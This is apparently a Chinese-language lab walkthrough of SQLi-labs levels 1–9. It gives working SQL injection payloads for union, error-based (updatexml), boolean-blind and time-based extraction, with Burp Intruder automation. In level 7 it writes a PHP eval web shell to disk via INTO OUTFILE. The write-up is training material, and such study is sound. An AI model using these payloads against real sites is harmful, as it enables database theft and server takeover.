系列文章目录
1. SQL注入——基础知识
2. SQL注入
3. 全自动化注入SqlMap
4. 其他注入方法
文章目录
前言
本文用于记录靶场 SQLi-labs 的 1- 9 关
SQL扫描流程
Step1. 是否有回显
?id=1
~~
?id=2
通过将传递给url中的 id 加1/ 减1,看两次页面是否一样:如果一样就是没有回显,如果不一样就是有回显。
Step2. 是否有报错(能够判断字符型还是数字型的报错)
?id=1'
~~~
?id=1"
如果有报错,直接判断注入类型和闭合方式;如果没有报错,则无法直接判断注入类型,但是仍然可以判断闭合方式。
1. 注入类型的判断
如果报错信息中有数字(我们传入的id)就是字符型,没有数字就是数字型(数字型注入不需要判断闭合方式);
例如:?id=35’ 的报错信息为 near ‘’’ at line 1 → 没有出现数字35,所以是数字型注入
2. 闭合方式的判断
- 如果添加 ’ 或者 " 后,依旧能够正常显示,那么说明添加 ’ 或者 " 绝对不是闭合方式。
- 猜测 除了上一步中已经排除的闭合方式外 的几种有可能的闭合方式:
- 通过
?id=1' --+
看是否可以正常显示,如果可以正常显示,就表示 ’ 就是闭合方式; - 反正就是不断猜测,例如 ' ~~~ “ ~~~ ') ~~~ ”)等。
- 通过
- 代码审计 【第7关】
Step3. 是否有布尔类型的状态
?id=1' and 1=1 --+
~~~~~
?id=1' and 1=2 --+
如果 1=1 和 1=2 的页面结果一样,就没有布尔类型的状态。
?id=1' and sleep(5) --+
如果页面没有休眠5秒,就是没有布尔类型的状态。
开发者工具–>查看元素–>网络:看页面是否有延迟(定义的是沉睡5秒,但是显示的是6秒,就是有延迟)
【注】除了id+1/-1 判断是否有回显,其他(and 1=1 / and 1=2 / and sleep(5) )出现任意一个,就断定有注入漏洞。
Step4. 选择注入手法
- 如果有回显,考虑联合查询 union
- 如果没有回显,且有报错,考虑报错注入
and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
- @@datadir可以替换为任何select语句
- 如果没有回显,也没有报错,但是有布尔类型状态,考虑布尔盲注
- 猜测数据库名的长度
?id=1' and length(database()) = 1 --+
- 猜测数据库的名字
~~~
?id=1' and substr(database(),1,1) = 's' --+
- 以上可以采用bp半自动化注入:抓包发送到Intruder模块,修改变量,选择字典,进行注入
- 猜测数据库名的长度
- 如果以上情况都没有,考虑延时注入
一、SQLi-labs 第 1 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面不一样(图片省略)
~~
→
~~
有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:字符型
~~~
闭合方式:单引号 ’ 闭合
Step3. 判断有无布尔类型状态
?id=1' and 1=1 --+
与 ?id=1' and 1=2 --+
的页面结果不同
~~
→
~~
有布尔类型的状态。
Step4. 选择注入方式
有回显
~~
→
~~
联合查询 ?id=1' and 1=2 union select 1,database(),version() --+
1. 判断列数
2. 注入成功
二、SQLi-labs 第 2 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面不一样
~~
→
~~
有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:数字型
~~~
闭合方式:数字型不需要考虑闭合方式
Step3. 判断有无布尔类型状态
数字型只需要令 ?id=-1
就可以使得原代码失效,从而执行联合查询。
Step4. 选择注入方式
有回显
~~
→
~~
联合查询 ?id=-1 union select 1,database(),version()
1. 判断列数
2. 注入成功
三、SQLi-labs 第 3 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面不一样(图片省略)
~~
→
~~
有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:字符型
~~~
闭合方式: ')
Step3. 判断有无布尔类型状态
?id=1') and 1=1 --+
与 ?id=1') and 1=2 --+
的页面结果不同
~~
→
~~
有布尔类型的状态。
Step4. 选择注入方式
有回显
~~
→
~~
联合查询 ?id=1') and 1=2 union select 1,database(),version() --+
1. 判断列数
共有3列,其中第二列和第三列可以显示出来。
2. 注入成功
四、SQLi-labs 第 4 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面不一样(图片省略)
~~
→
~~
有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:字符型
~~~
闭合方式: ")
Step3. 判断有无布尔类型状态
?id=1") and 1=1 --+
与 ?id=1") and 1=2 --+
的页面结果不同 (图片省略)
~~
→
~~
有布尔类型的状态。
Step4. 选择注入方式
有回显
~~
→
~~
联合查询 ?id=1") and 1=2 union select 1,database(),version() --+
1. 判断列数
共有3列,其中第二列和第三列可以显示出来。
2. 注入成功
五、SQLi-labs 第 5 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面一样
~~
→
~~
没有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:字符型
~~~
闭合方式: ’
Step3. 判断有无布尔类型状态
没有布尔类型的状态(图片省略)
Step4. 选择注入方式
没有回显 + 有报错 ~~ → ~~ 报错注入
1. 查找MySQL 的数据库文件路径
?id=1' and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
【updatexml() 有固定的报错格式:3个参数】
2. 查询 数据库’security’ 中所有的表名
?id=1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5e),1) --+
3. 查询 数据库 ‘security’ 中所有表的字段名
- 不使用substr()函数
?id=1' and
updatexml(1,concat(0x5e,( select group_concat(column_name)
from information_schema.columns
where table_schema='security')
,0x5e)
,1) --+
查询结果如下,只能显示一个^,表示数据太长,没有完全显示出来,所以要用substr()函数进行分割。
XPATH syntax error:'^id,email_id,id,referer,ip_adrres'
- 使用substr()函数进行第一次截取
?id=1' and
updatexml(1, concat(0x5e, substr(
( select group_concat(column_name)
from information_schema.columns
where table_schema='security'),
1,23),
0x5e),
1) --+
- 使用substr()函数进行第二次截取
?id=1' and
updatexml(1, concat(0x5e, substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema='security'),
24,40),
0x5e),
1) --+
- 多次截取,最后将每次截取的字符拼接起来就行
前两次截取的字符串的拼接结果:id,email_id,id,referer,ip_address,id,uagent,ip_addres
六、SQLi-labs 第 6 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面一样
~~
→
~~
没有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
有报错
~~~
注入类型:字符型
~~~
闭合方式:"
Step3. 判断有无布尔类型状态
没有布尔类型的状态(图片省略)
Step4. 选择注入方式
没有回显 + 报错
~~
→
~~
报错注入
?id=1" and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
七、SQLi-labs 第 7 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面一样
~~
→
~~
没有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
没有报错(报错是指那种能够判断注入类型和闭合方式的错误信息)
代码审计
~~~
注入类型:字符型
~~~
闭合方式: '))
Step3. 写入文件
1. 通过 into outfile "路径名"
写入文件
?id=1')) union select 1,"<?php @eval(\$_REQUEST[777]) ?>",3 into outfile "E:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\1.php" --+
【注】此处写入了一句话木马;$ 和 文件路径中的 \ 要转义
2. 写入成功
八、SQLi-labs 第 8 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面一样
~~
→
~~
没有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
→
~~
没有报错
~~~
注入类型:字符型
~~~
闭合方式:’
Step3. 判断有无布尔类型状态
?id=1' and 1=1 --+
与 ?id=1' and 1=2 --+
的页面结果不同
~~
→
~~
有布尔类型的状态
Step4. 选择注入方式
没有回显 + 没有报错 + 有布尔类型的状态 ~~ → ~~ 布尔盲注【使用BurpSuite进行半自动化注入】
1. 猜测数据库名的长度
构造普通的注入语句
?id=2' and length(database())=……
【省略号的地方就是半自动化注入的地方】
将上面的数据包抓到并发送到Intruder模块
设置变量
数据包中 length(database())=1
,将1设置为变量
为变量指定字典
进行半自动化注入
得到结果
数据库名的长度为8
2. 猜测数据库名
构造普通的注入语句
?id=2' and substr(database(),1,1)='s' --+
抓包发送到Intruder模块并指定变量
数据包中 substr(database(),1,1)='s'
- 第一个变量:截取的开始位置
- 第二个变量:猜测某个位置是什么字符
为变量指定字典
- 第一个变量:截取的开始位置
- 字典:1-8(已经得到了数据库名的长度为8)
- 第二个变量:猜测某个位置是什么字符
- 字典:a-z
进行半自动化注入,得到结果
数据库名为 ‘security’
九、SQLi-labs 第 9 关
Step1. 判断有无回显
?id=1
和 ?id=2
的页面一样
~~
→
~~
没有回显
Step2. 判断注入类型和闭合方式
?id=1'
~~
?id=1"
~~
→
~~
没有报错
?id=1' and sleep(5) --+
~~
→
~~
页面休眠5秒
~~~
注入类型:字符型
~~~
闭合方式: ’
Step3. 判断有无布尔类型状态
?id=1' and 1=1 --+
与 ?id=1' and 1=2 --+
的页面结果相同
~~
→
~~
没有布尔类型的状态
Step4. 选择注入方式
没有回显 + 没有报错 + 没有布尔类型状态 ~~ → ~~ 布尔盲注
- 使用 if() + sleep() 来进行布尔盲注(没有回显不能联合查询)
- 采用burpSuite半自动化注入
1. 猜测数据库名长度
抓包发送到Intruder模块
?id=1' and if(length(database())=1,sleep(5),1) --+
设置变量
为变量指定字典
进行半自动化注入 ,得到结果
2. 猜测数据库名
抓包发送到Intruder模块
?id=1' and if( ascii( substr(database(),1,1) ) = 90 , sleep(5) , 1) --+
设置变量
为变量指定字典
- 第一个变量:截取的开始位置
- 字典:1-8
- 第二个变量:猜测某个位置是什么字符(用ASCII码表示的)
- 字典:1-128,步长为1
设置线程
进行半自动化注入 ,得到结果
数据库名中每个字符对应的ASCII码值分别为:114,115,101,99,116,117,121,105